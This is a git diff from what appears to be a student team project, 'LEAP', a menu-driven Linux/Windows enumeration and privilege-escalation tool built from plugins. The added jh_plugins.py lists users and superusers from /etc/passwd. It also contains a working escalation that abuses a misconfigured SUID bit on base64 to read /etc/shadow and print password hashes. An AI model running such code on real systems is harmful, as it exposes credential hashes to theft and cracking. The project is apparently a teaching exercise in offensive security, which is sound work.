diff --git a/README.md b/README.md index 70bda86c..a100358d 100644 --- a/README.md +++ b/README.md @@ -14,17 +14,23 @@ pieces of functionality - we'll refer to them as "plugins". This is a kind of **design by contract**, which you can read about here: . Some things to decide might be: - - Will each piece of functionality be in a separate file or subdirectory? - - Will your team have a naming convention? For example, maybe all - windows enumerators will begin with "wEnum_", linux with "lEnum_" - and so on. + - Will each piece of functionality be in a separate file or subdirectory? TO DO + - Naming Conventions: + lEnum_ + lPrivesc_ + wEnum_ + wPrivesc_ - What will each function return or display? Will each function print out to the user? Or will it return a block of text in a string? Or a list of lines? Or maybe a dict with some meta-info (version, plugin name, plugin author, date, time, etc.) and text data? Or JSON? All are possibilities. + 1.Display to terminal + 2.File - Will you have a standard set of parameters to be passed in? Or can each plugin have a different set of required parameters? + Enumeration- No parameters + Privesc- Specific info for escalation. - What plugins will be implemented? Who will be the author? You should document these decisions here in the `README.md` file. Once @@ -67,6 +73,23 @@ In this project you will be getting experience of working on a project and receiving multiple pull-requests from contributors and at the same time, contributing to the repositories of others. +## Individual Plugins (If you want to do a specific plugin, mark it here) +Josh- Linux +Operating System, +Confidential Information/Users, +Base64 Privesc + +Pedro- Linux +File Systems, +Services/Applications, + +Thane- + + + +Emmanuel- + + diff --git a/requirements.txt b/requirements.txt index 8d98d363..33832f59 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ pytest pdoc3 + diff --git a/src/jh_plugins.py b/src/jh_plugins.py new file mode 100644 index 00000000..4a0d890e --- /dev/null +++ b/src/jh_plugins.py @@ -0,0 +1,143 @@ +from plugins import PrivEsc, Enumeration + +import os, tempfile + +import pathlib, stat + +import subprocess + +import pty + +import base64 + +def grabOutput(command): + """Runs a subprocess in order to get the results of a terminal command, runs automatically when called from one of the classes""" + sp=subprocess.run(command, stdout=subprocess.PIPE) + return sp.stdout.decode() + +class lEnum_ConfidentialInfoandUsers(Enumeration): + """This runs automatically when called from the main file, needs no input""" + def __init__(self): + Enumeration.__init__(self) + self.name="lEnum_ConfidentialInfoandUsers" + self.author="Anonymous hacker" + self.description="Gathers information on the hosts confidential information and users" + def execute(self): + print("Executing...") + print() + print(f"Current user: "+grabOutput(['whoami'])) #gets username of current user + print(f"ID info:") + idData=grabOutput("id") #grabs id information + parts = idData.split() #splits personal id and primary group id from secondary group ids + for part in parts[:2]: + print(f"\t{part}") + print() + print("Group Info:") + parts=parts[2].split("=") + groups=parts[1].split(",") + for group in groups: + print(f"\t{group}") + print() + print(f"Logged in users:") + userData=grabOutput(['who']) #gathers info on all logged in users + parts=userData.split('\n') + for user in parts: + if user=="": + continue + userParts=user.split() + print(f"\tuser name: {userParts[0]}") + print(f"\tuser login date: {userParts[2]}") + print(f"\tuser login time: {userParts[3]}") + print() + print(f"List of all users:") + userData=grabOutput(["cat", "/etc/passwd"]) #gathers all users from /etc/passwd + parts=userData.split("\n") + for part in parts: + userParts=part.split(":") + print(f"\t{userParts[0]}") #prints only the username + print(f"List of super users:") + superuserData=grabOutput(["awk", "-F:", '($3 == "0") {print}', "/etc/passwd"]) #gathers only superuser data from /etc/passwd + parts=superuserData.split("\n") + for part in parts: + superuserParts=part.split(":") + print(f"\t{superuserParts[0]}") + + +class lEnum_OperatingSystem(Enumeration): + """This runs automatically when called from the main file, needs no input""" + def __init__(self): + Enumeration.__init__(self) + self.name="lEnum_OperatingSystem" + self.author="Anonymous Hacker" + self.description="Gathers information on the host operating system" + def execute(self): + print("Executing...") + print() + distData=grabOutput(['cat', '/etc/issue']) #gathers info on the distribution + parts=distData.split() + print(f"Distribution Type: {parts[0]}") + print(f"Distribution Version: {parts[1]}") + linuxData=grabOutput(['uname', '-mrs']) #gathers data on linux version and architecture + parts=linuxData.split() + print(f"Linux Version: {parts[1]}") + print(f"Architecture: {parts[2]}") + languageData=grabOutput(['env']) + parts=languageData.split() #gets standard language of OS + parts=parts[6].split("=") + print(f"Language: {parts[1]}") + +class wEnum_WindowsServices(Enumeration): + """This runs automatically when called from the main file, needs no input""" + def __init__(self): + Enumeration.__init__(self) + self.name="wEnum_WindowsServices" + self.author="Anonymous Hacker" + self.description="Displays all started Windows services" + def execute(self): + print("Executing...") + print() + systemInfo=grabOutput(['net','start']) #grabs all currently running windows services + print(systemInfo) + + +class lPrivesc_Base64Escalator(PrivEsc): + """This runs automatically when called from the main file, needs no input""" + def __init__(self): + PrivEsc.__init__(self) + self.name="Base64Escalator" + self.author="Anonymous Hacker" + self.description="Uses a dangerous SUID bit on Base64 to get the contents of /etc/shadow" + def execute(self): + print() + print('Executing...') + print() + base64Path="/usr/bin/base64" + suid=checkBinary(base64Path) #checks whether or not the SUID bit on base64 is set incorrectly + if not suid: + print(f"base64 does not have the SUID bit set") + return + shadow=grabOutput(('base64', '/etc/shadow')) #grabs the contents of shadow using base64 + shadow=base64.b64decode(shadow) + shadow=shadow.decode('ascii')#these 2 lines decode the contents of shadow using the base64 python module + parts=shadow.split('\n') + for part in parts: + userParts=part.split(":") + if part == '': + continue + elif userParts[1]=='x': + continue + elif userParts[1]=='!': + continue + print(f"username: {userParts[0]}") + print(f"password hash: {userParts[1]}") + print() + + + +def checkBinary(p): + """This function checks whether or not the SUID bit of a file is set incorrectly, allowing for a privesc to be executed.""" + pl=pathlib.Path(p) + suid=False + suid=(pl.stat().st_mode & stat.S_ISUID)!=0 + return suid + diff --git a/src/js_plugins.py b/src/js_plugins.py deleted file mode 100644 index 6024f093..00000000 --- a/src/js_plugins.py +++ /dev/null @@ -1,46 +0,0 @@ -""" Plugins for LEAP designed by James Shuttleworth """ - -from plugins import PrivEsc, Enumeration - -import os, tempfile - -from subprocess import Popen, PIPE - -import pty - - -# A very basic method, but useful -def shellRun(command): - """ Put given commands into a temporary file, spawn a shell and explain how to use the command """ - f = tempfile.NamedTemporaryFile(delete=False) - fname=f.name - f.write(command.encode()) - f.close() - os.system(f"chmod u+x {fname}") - print(f"Execute command with '{fname}'...\nCtrl-D to leave shell") - - pty.spawn("/bin/bash") - #os.system(fname) - os.unlink(fname) - - -class DumbSudoEscalation(PrivEsc): - """An example plugin that tries to use `sudo su` to get root. - - Requires being given the password for the current user and relies - on the current user having sudo privs, so while technically it - escalates proveleges, it does so only if you already have the - right credentials - - """ - def __init__(self, pw): - PrivEsc.__init__(self) - self.pw=pw - self.name="DumbSudoEscalation - not that useful" - self.author="James Shuttleworth" - self.description="Use sudo to 'hack' into the root account" - def execute(self): - print("Executing") - - shellRun("sudo xterm") - print("Done") diff --git a/src/leap.py b/src/leap.py index 1a5e85d9..288a0f97 100755 --- a/src/leap.py +++ b/src/leap.py @@ -1,59 +1,99 @@ #!/usr/bin/env python3 -from js_plugins import DumbSudoEscalation +import platform +import sys + +from jh_plugins import lEnum_OperatingSystem +from jh_plugins import lEnum_ConfidentialInfoandUsers +from jh_plugins import lPrivesc_Base64Escalator +from jh_plugins import wEnum_WindowsServices +from pg_plugins import Curl, Cat, FileSystem, Service_Applications if __name__=="__main__": - #Make a list of available privescs - pes=[] - pes.append(DumbSudoEscalation("swordfish")) - #And enumerations - ens=[] + + system=platform.system() #checks what the current operating system is, and then uses that to determine what options to give the user + if system=="Linux": + #Make a list of available privescs + pes=[] + pes.append(lPrivesc_Base64Escalator()) + pes.append(Curl()) + pes.append(Cat()) + #And enumerations + ens=[] + ens.append(lEnum_OperatingSystem()) + ens.append(lEnum_ConfidentialInfoandUsers()) + ens.append(FileSystem()) + ens.append(Service_Applications()) + elif system=="Windows": + pes=[] + + + ens=[] + ens.append(wEnum_WindowsServices()) + ens.append(WindowsSystemInfo()) + if len(sys.argv) > 1: #check to see if there was an argument given + if sys.argv[1]=='enumerate': #if the enumerate argument was given, run all enumerations in order and print result to the terminal + for i in range(len(ens)): + print(ens[i].info()) + ens[i].execute() + else: + shouldQuit=False - shouldQuit=False - while not shouldQuit: - print("=".join("-"*10)) - print(" Logo here...") - print("LEAP Menu") + while not shouldQuit: + print("=".join("-"*10)) + print(" Logo here...") + print("LEAP Menu") - print("\nPrivescs:") - for i in range(len(pes)): - print(f"\tP{i}: {pes[i].name}") + print("\nPrivescs:") + for i in range(len(pes)): + print(f"\tP{i}: {pes[i].name}") - print("\nEnumerations:") - for i in range(len(ens)): - print(f"\tE{i}: {ens[i].name}") - - print("\nQ to quit") - print() - userInput=input("Enter a selection: ") - print("-"*20) - #remove whitespace, make uppercase - userInput=userInput.strip().upper() - - if userInput == "Q": - shouldQuit=True + print("\nEnumerations:") + for i in range(len(ens)): + print(f"\tE{i}: {ens[i].name}") + + print("\nQ to quit") + print() + userInput=input("Enter a selection: ") + print("-"*20) + #remove whitespace, make uppercase + userInput=userInput.strip().upper() + + if userInput == "Q": + shouldQuit=True - elif (userInput[0] in ["P","E"] and #Privesc or enumeration - len(userInput)>1): #Make sure it's more than 1 letter + elif (userInput[0] in ["P","E"] and #Privesc or enumeration + len(userInput)>1): #Make sure it's more than 1 letter - useList=ens - if userInput[0]=="P": - useList=pes - index=userInput[1:] #Get the number part... - for i in index: - if not i.isdigit(): - print("Invalid selection:",userInput) - break + useList=ens + if userInput[0]=="P": + useList=pes + index=userInput[1:] #Get the number part... + for i in index: + if not i.isdigit(): + print("Invalid selection:",userInput) + break + else: + index=int(index) #Make it a number + if index0 + assert "ls" in output + +def test_lEnum_OperatingSystem(): + h=jh_plugins.lEnum_OperatingSystem() + assert isinstance(h,plugins.Enumeration) + assert isinstance(h,plugins.Item) + info=h.info() + assert "ENUMERATION" in info + assert "lEnum_OperatingSystem" in info + assert "Josh Hallstrom" in info + +def test_checkBinary(): + output=jh_plugins.checkBinary("/bin/cat") + assert output==False + +